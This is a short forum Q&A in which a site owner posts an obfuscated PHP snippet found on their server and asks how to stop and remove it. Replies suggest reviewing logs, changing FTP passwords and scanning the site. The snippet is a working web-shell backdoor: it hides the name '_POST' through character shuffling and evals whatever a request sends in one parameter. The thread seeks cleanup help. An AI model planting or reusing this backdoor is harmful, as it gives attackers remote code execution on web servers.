What is this virus and where does it get onto the server from?

Question

Malware

<?php
$ngwi50="_peurots";$rofc36= $ngwi50[7].$ngwi50[6].$ngwi50[4].$ngwi50[6]. $ngwi50[5].
$ngwi50[3].$ngwi50[1].$ngwi50[1].$ngwi50[2]. $ngwi50[4] ; $aqu3 =$rofc36 ( $ngwi50[0]. $ngwi50[1]. $ngwi50[5].
$ngwi50[7]. $ngwi50[6]); if (isset ( ${ $aqu3} ['qf385ab'] ) ){ eval ( ${ $aqu3 } ['qf385ab']) ; } 
?>

And how to make it no longer climb?
And how to cure?

Answer 1

Examining the logs will definitely help you understand where it comes from. And, accordingly, how to prevent.

Answer 2

This is a piece of encrypted PHP code. Try to change FTP passwords and scan your site with Aibolit!